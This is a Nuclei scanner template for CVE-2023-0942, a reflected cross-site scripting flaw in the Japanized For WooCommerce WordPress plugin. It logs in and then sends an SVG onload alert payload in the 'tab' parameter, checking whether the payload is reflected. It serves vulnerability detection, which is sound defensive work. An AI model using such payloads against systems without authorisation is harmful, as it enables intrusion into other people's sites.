nuclei-templates/cves/2023/CVE-2023-0942.yaml

38 lines
1.3 KiB
YAML

id: CVE-2023-0942
info:
name: Japanized For WooCommerce < 2.5.5 - Cross Site Scripting
author: r3Y3r53
severity: medium
description: |
Japanized For WooCommerce < 2.5.5 is vulnerable to Reflected Cross-Site Scripting via the tab parameter in versions up to, and including, 2.5.4 due to insufficient input sanitization and output escaping.
reference:
- https://wpscan.com/vulnerability/71aa9460-6dea-49cc-946c-d7d4bf723511
- https://nvd.nist.gov/vuln/detail/CVE-2023-0942
- https://wordpress.org/plugins/woocommerce-for-japan/
remediation: Fixed in version 2.5.5
metadata:
verified: "true"
tags: cve,cve2023,xss,woocommerce-for-japan,woocommerce,wp,plugin,wordpress,authenticated
requests:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=wc4jp-options&tab=a</script><svg/onload=alert(document.domain)> HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(body_2, "<svg/onload=alert(document.domain)>") && contains(body_2, "woocommerce-for-japan")'
condition: and